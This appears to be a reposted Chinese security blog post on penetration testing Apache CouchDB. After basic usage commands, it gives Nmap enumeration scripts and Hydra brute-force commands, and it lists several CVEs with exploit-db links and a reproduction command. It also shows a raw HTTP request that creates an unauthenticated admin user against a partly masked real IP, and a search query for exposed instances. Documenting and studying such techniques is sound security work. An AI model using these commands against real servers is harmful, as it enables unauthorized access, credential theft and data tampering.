CouchDB是用Erlang开发的面向文档的数据库系统,2010年7月14日发布了1.0版本。CouchDB不是一个传统的关系数据库,而是面向文档的数据库,其数据存储方式有点类似lucene的index文件格式,CouchDB最大的意义在于它是一个面向web应用的新一代存储系统,事实上,CouchDB的口号就是:下一代的Web应用存储系统。
CouchDB 可以安装在大部分 POSIX 系统上,包括 Linux®和 Mac OS X。Version 2.2.0开始正式支持Windows (x64)。CouchDB 可以从源文件安装,也可以使用包管理器安装(比如在 Mac OS X 上使用 MacPorts)。CouchDB 是一个顶级 Apache Software Foundation 开源项目,根据 Apache 许可 V2.0 发布。这个开源许可允许在其他软件中使用这些源代码,并根据需要进行修改,但前提是遵从版权需知和免责声明。与许多其他开源许可一样,这个许可允许用户根据需求使用、修改和分发该软件。不一定由同一个许可包含所有修改,因为我们仅维护一个 Apache 代码使用许可需知。默认端口为5984和6984。
1.1CouchDB基本命令
1.测试CouchDB正在运行 curlhttp://127.0.0.1:5984/ 这会向新安装的CouchDB实例发出一个GET请求。 响应应该类似于: Json {"couchdb":"Welcome","version":"0.10.1"} 2.获取数据库列表 curl -X GEThttp://127.0.0.1:5984/_all_dbs 3.创建一个数据库 curl -X PUT http://127.0.0.1:5984/baseball 显示结果:{"ok":true} 再次列举数据库 curl -X GET http://127.0.0.1:5984/_all_dbs 显示结果:["baseball"] 4.显示数据库信息 /<数据库名> 5.删除数据库 curl -X DELETEhttp://127.0.0.1:5984/plankton 3.Futon 管理界面 /_utils/ 4.临时视图 /_utils/database.html?/<数据库名>/_temp_view
2.创建数据库及文档在Futon后台界面中创建数据库非常简单。从概览页面,点击“创建数据库”。当提示输入名称时,输入 hello-world 并点击创建按钮。数据库创建后,Futon将显示其所有文档的列表。这个列表一开始是空的,所以让创建第一个文档。点击“新建文档”链接,然后在弹出窗口中点击创建按钮。确保文档ID留空,CouchDB会为你生成一个UUID。完成后不要忘记点击“保存文档”。
1.枚举 使用Nmap脚本对CouchDB进行枚举: nmap --script couchdb-databases -p 5984 <目标IP> nmap --script couchdb-stats -p 5984 <目标IP> nmap --script couchdb-users -p 5984 <目标IP> nmap --script couchdb-info -p 5984 <目标IP> nmap --script couchdb-enum -p 5984 <目标IP> 2.暴力破解凭证 使用Hydra进行凭证暴力破解: hydra -l 用户名 -P 密码列表.txt <目标IP> couchdb hydra -L 用户名列表.txt -p 密码 <目标IP> couchdb 3. 带有认证连接目标 curl -X GET -u 用户名:密码 http://<目标IP>:5984/ 4.获取数据库中的所有文档 curl -X GET http://<目标IP>:5984/<数据库名>/_all_docs 5.获取特定文档 curl -X GET http://<目标IP>:5984/<数据库名>/<文档ID> 6.创建或更新文档 curl -X PUT http://<目标IP>:5984/<数据库名>/<文档ID> -d '{"key": "value"}' 7.删除文档 curl -X DELETE http://<目标IP>:5984/<数据库名>/<文档ID>?rev=<文档修订版本> 8.用户管理 (1)获取所有用户 curl -X GET http://<目标IP>:5984/_users/_all_docs (2)获取特定用户 curl -X GET http://<目标IP>:5984/_users/org.couchdb.user:<用户名> (3)创建用户 curl -X PUT http://<目标IP>:5984/_users/org.couchdb.user:<用户名> -d '{"name": "<用户名>", "password": "<密码>", "roles": [], "type": "user"}' (4)删除用户 curl -X DELETE http://<目标IP>:5984/_users/org.couchdb.user:<用户名>?rev=<用户修订版本> 9.安全配置 (1)获取当前安全配置 curl -X GET http://<目标IP>:5984/<数据库名>/_security (2)更新安全配置 curl -X PUT http://<目标IP>:5984/<数据库名>/_security -d '{"admins": {"names": ["admin"], "roles": []}, "members": {"names": ["user1"], "roles": []}}'
1.4.1CVE-2022-24706: Apache CouchDB 3.2.1 - 远程代码执行 (RCE) 日期: 2022-05-11 类型: 远程 平台: Linux 研究者: Konstantin Burov 描述: 在 Apache CouchDB 3.2.1 版本中存在一个远程代码执行漏洞,攻击者可以在不进行身份验证的情况下访问不正确的默认安装并获得管理员权限,从而实现 RCE。这一漏洞的根本原因在于 CouchDB 使用了默认的 Erlang Cookie (monster),这使得其他 Erlang 节点能够与 CouchDB 中的分布式节点建立连接并执行系统命令。 利用代码: https://www.exploit-db.com/exploits/50914 1.4.2CVE-2019-5421: Apache CouchDB 2.3.1 - 跨站请求伪造 / 跨站脚本 1.4.3CVE-2019-5420: Apache CouchDB 2.3.0 - 跨站脚本 日期: 2019-02-18 类型: WebApps 平台: 多平台 研究者: Ozer Goker 描述: 类似于 CVE-2019-5421,该版本中的 CouchDB 存在一个 XSS 漏洞,允许攻击者注入恶意脚本,这些脚本可以在用户的浏览器中执行,从而可能导致信息泄露或其他安全问题。 1.4.4CVE-2018-17188: Apache CouchDB - 任意命令执行 (Metasploit) 1.4.5CVE-2018-12636: Apache CouchDB < 2.1.0 - 远程代码执行 日期: 2018-06-20 类型: WebApps 平台: Linux 研究者: Cody Zacharias 描述: 在 CouchDB 2.1.0 之前的版本中,存在一个远程代码执行漏洞,攻击者可以利用这一漏洞以 CouchDB 用户的身份执行任意 shell 命令。 复现命令:python exploit.py --priv -c "id"http://localhost:5984 利用代码https://www.exploit-db.com/exploits/44913 1.4.6CVE-2018-12635 & CVE-2018-12636: Apache CouchDB 1.7.0 / 2.x < 2.1.1 - 远程权限提升 日期: 2018-04-23 类型: WebApps 平台: Linux 研究者: r4wd3r 描述: 这两个漏洞可以组合使用来实现远程代码执行。CVE-2018-12635 允许攻击者创建新的管理员用户,而 CVE-2018-12636 允许执行任意命令。 1.4.7CVE-2016-9212: Apache CouchDB 2.0.0 - 本地权限提升 日期: 2016-12-05 类型: 本地 平台: Windows 研究者: hyp3rlinx 描述: CouchDB 2.0.0 版本中存在一个本地权限提升漏洞,攻击者可以通过特定的方法提升自身权限。 CouchDB 设置了较弱的文件权限,这可能会让 Windows 标准用户提升权限。"nssm.exe"(Apache CouchDB)可执行文件可以被标准非管理员用户替换,一旦 "Apache CouchDB" 服务被重启或系统重新启动,他们就可以添加一个后门管理员账户。由于 Apache CouchDB 以 LOCALSYSTEM 身份运行,现在标准用户可以以 SYSTEM 的权限执行任意代码。问题在于 'Authenticated Users' 组的 'C' 标志(更改)。 复现: cacls * | findstr Users sc qc "Apache CouchDB" 1.4.8CVE-2014-2526: Apache CouchDB 1.5.0 - 'uuids' 拒绝服务 日期: 2014-03-26 类型: DoS 平台: 多平台 研究者: Krusty Hack 描述: 通过发送大量请求给 CouchDB 的 /uuids API,攻击者可以导致服务拒绝,使 CouchDB 无法处理新的请求 1.4.9未经授权漏洞 1.burpsuite抓包 PUT /_users/org.couchdb.user:vulhub HTTP/1.1 Host: 118.193.36.**:43553 Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 94 { "type": "user", "name": "vulhub", "roles": ["_admin"], "password": "vulhub" } 2.访问并登录后台 http://118.193.36.**:43553/utils/#login
2.quakeport:"5984" and response:"CouchDB"
参考资料https://guide.couchdb.org/draft/tour.html
原文始发于微信公众号(小兵搞安全):CouchDB 渗透
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论